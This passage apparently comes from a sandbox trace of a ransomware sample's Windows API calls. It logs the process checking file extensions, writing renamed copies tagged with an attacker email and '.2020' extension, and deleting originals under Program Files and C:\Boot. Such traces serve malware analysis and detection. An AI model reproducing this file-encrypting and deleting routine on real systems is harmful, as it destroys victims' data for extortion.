Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0081.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.683] lstrlenW (lpString=".doc") returned 4 [0081.683] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.683] lstrlenW (lpString=".docx") returned 5 [0081.683] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.683] lstrlenW (lpString=".pdf") returned 4 [0081.683] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.683] lstrlenW (lpString=".xls") returned 4 [0081.683] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.684] lstrlenW (lpString=".xlsx") returned 5 [0081.684] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.684] lstrlenW (lpString=".ppt") returned 4 [0081.684] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.684] lstrlenW (lpString=".zip") returned 4 [0081.684] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.684] lstrlenW (lpString=".rar") returned 4 [0081.684] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.684] lstrlenW (lpString=".bz2") returned 4 [0081.684] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.684] lstrlenW (lpString=".7z") returned 3 [0081.684] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.684] lstrlenW (lpString=".dbf") returned 4 [0081.684] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.684] lstrlenW (lpString=".1cd") returned 4 [0081.684] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.684] lstrlenW (lpString=".jpg") returned 4 [0081.684] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.684] lstrlenW (lpString=".doc") returned 4 [0081.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.685] lstrlenW (lpString=".docx") returned 5 [0081.685] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.685] lstrlenW (lpString=".pdf") returned 4 [0081.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.685] lstrlenW (lpString=".xls") returned 4 [0081.685] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.685] lstrlenW (lpString=".xlsx") returned 5 [0081.685] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.685] lstrlenW (lpString=".ppt") returned 4 [0081.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.685] lstrlenW (lpString=".zip") returned 4 [0081.685] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.685] lstrlenW (lpString=".rar") returned 4 [0081.685] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.685] lstrlenW (lpString=".bz2") returned 4 [0081.685] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.685] lstrlenW (lpString=".7z") returned 3 [0081.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.685] lstrlenW (lpString=".dbf") returned 4 [0081.685] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.685] lstrlenW (lpString=".1cd") returned 4 [0081.685] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0081.686] lstrlenW (lpString=".jpg") returned 4 [0081.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.686] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.686] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.687] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=37440) returned 1 [0081.687] CloseHandle (hObject=0x1d8) returned 1 [0081.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0081.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.687] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.687] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0081.688] GetLastError () returned 0x0 [0081.688] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x9240, lpOverlapped=0x0) returned 1 [0082.022] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x9250, lpOverlapped=0x0) returned 1 [0082.024] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0082.024] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0082.024] SetEndOfFile (hFile=0x20c) returned 1 [0082.024] CloseHandle (hObject=0x20c) returned 1 [0082.024] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0082.024] SetEndOfFile (hFile=0x1d8) returned 1 [0082.025] CloseHandle (hObject=0x1d8) returned 1 [0082.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0082.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0082.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.026] lstrlenW (lpString=".doc") returned 4 [0082.026] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0082.026] lstrlenW (lpString=".docx") returned 5 [0082.026] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0082.026] lstrlenW (lpString=".pdf") returned 4 [0082.026] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0082.026] lstrlenW (lpString=".xls") returned 4 [0082.026] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0082.026] lstrlenW (lpString=".xlsx") returned 5 [0082.026] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0082.026] lstrlenW (lpString=".ppt") returned 4 [0082.026] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0082.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.026] lstrlenW (lpString=".zip") returned 4 [0082.026] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0082.026] lstrlenW (lpString=".rar") returned 4 [0082.026] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0082.026] lstrlenW (lpString=".bz2") returned 4 [0082.027] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0082.027] lstrlenW (lpString=".7z") returned 3 [0082.027] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0082.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.027] lstrlenW (lpString=".dbf") returned 4 [0082.027] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0082.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.027] lstrlenW (lpString=".1cd") returned 4 [0082.027] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0082.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.027] lstrlenW (lpString=".jpg") returned 4 [0082.027] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0082.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.027] lstrlenW (lpString=".doc") returned 4 [0082.027] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0082.027] lstrlenW (lpString=".docx") returned 5 [0082.027] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0082.027] lstrlenW (lpString=".pdf") returned 4 [0082.027] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0082.027] lstrlenW (lpString=".xls") returned 4 [0082.027] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0082.027] lstrlenW (lpString=".xlsx") returned 5 [0082.027] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0082.027] lstrlenW (lpString=".ppt") returned 4 [0082.027] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0082.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.027] lstrlenW (lpString=".zip") returned 4 [0082.027] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0082.027] lstrlenW (lpString=".rar") returned 4 [0082.027] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0082.028] lstrlenW (lpString=".bz2") returned 4 [0082.028] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0082.028] lstrlenW (lpString=".7z") returned 3 [0082.028] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.028] lstrlenW (lpString=".dbf") returned 4 [0082.028] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.028] lstrlenW (lpString=".1cd") returned 4 [0082.028] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0082.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0082.028] lstrlenW (lpString=".jpg") returned 4 [0082.028] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0082.028] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0082.028] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0082.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0083.090] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=37112) returned 1 [0083.090] CloseHandle (hObject=0x184) returned 1 [0083.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0083.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0083.113] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0083.113] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0083.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0083.114] GetLastError () returned 0x0 [0083.114] ReadFile (in: hFile=0x168, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x90f8, lpOverlapped=0x0) returned 1 [0083.121] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x9100, lpOverlapped=0x0) returned 1 [0083.122] ReadFile (in: hFile=0x168, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0083.122] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.123] SetEndOfFile (hFile=0x20c) returned 1 [0083.123] CloseHandle (hObject=0x20c) returned 1 [0083.123] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0083.123] SetEndOfFile (hFile=0x168) returned 1 [0083.125] CloseHandle (hObject=0x168) returned 1 [0083.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0083.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.125] lstrlenW (lpString=".doc") returned 4 [0083.125] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.125] lstrlenW (lpString=".docx") returned 5 [0083.125] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.126] lstrlenW (lpString=".pdf") returned 4 [0083.126] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.126] lstrlenW (lpString=".xls") returned 4 [0083.126] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.126] lstrlenW (lpString=".xlsx") returned 5 [0083.126] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.126] lstrlenW (lpString=".ppt") returned 4 [0083.126] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.126] lstrlenW (lpString=".zip") returned 4 [0083.126] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.126] lstrlenW (lpString=".rar") returned 4 [0083.126] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.126] lstrlenW (lpString=".bz2") returned 4 [0083.126] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.126] lstrlenW (lpString=".7z") returned 3 [0083.126] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.126] lstrlenW (lpString=".dbf") returned 4 [0083.126] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.126] lstrlenW (lpString=".1cd") returned 4 [0083.126] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.126] lstrlenW (lpString=".jpg") returned 4 [0083.126] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.127] lstrlenW (lpString=".doc") returned 4 [0083.127] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.127] lstrlenW (lpString=".docx") returned 5 [0083.127] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.127] lstrlenW (lpString=".pdf") returned 4 [0083.127] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.127] lstrlenW (lpString=".xls") returned 4 [0083.127] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.127] lstrlenW (lpString=".xlsx") returned 5 [0083.127] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.127] lstrlenW (lpString=".ppt") returned 4 [0083.127] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.127] lstrlenW (lpString=".zip") returned 4 [0083.127] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.127] lstrlenW (lpString=".rar") returned 4 [0083.127] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.127] lstrlenW (lpString=".bz2") returned 4 [0083.127] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.127] lstrlenW (lpString=".7z") returned 3 [0083.127] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.127] lstrlenW (lpString=".dbf") returned 4 [0083.127] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.127] lstrlenW (lpString=".1cd") returned 4 [0083.127] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0083.128] lstrlenW (lpString=".jpg") returned 4 [0083.128] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.128] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0083.128] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0083.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x9f0 [0060.801] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3890480 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38a0488 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003c8 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030c8 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003e0 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3b80020 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003f8 [0060.802] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003f8, Size=0x20) returned 0x52f938 [0060.802] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003f8 [0060.803] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003f8, Size=0x20) returned 0x52f910 [0060.803] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.803] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.803] Wow64DisableWow64FsRedirection (in: OldValue=0x302ff58 | out: OldValue=0x302ff58*=0x0) returned 1 [0060.803] lstrlenW (lpString="kernel32.dll") returned 12 [0060.803] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.803] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.803] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.803] Sleep (dwMilliseconds=0x64) [0061.028] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.028] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.028] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.029] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=89168) returned 1 [0061.029] CloseHandle (hObject=0x168) returned 1 [0061.029] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0061.029] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.029] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.029] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.029] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0061.029] lstrlenW (lpString=".doc") returned 4 [0061.029] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.029] lstrlenW (lpString=".docx") returned 5 [0061.029] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.029] lstrlenW 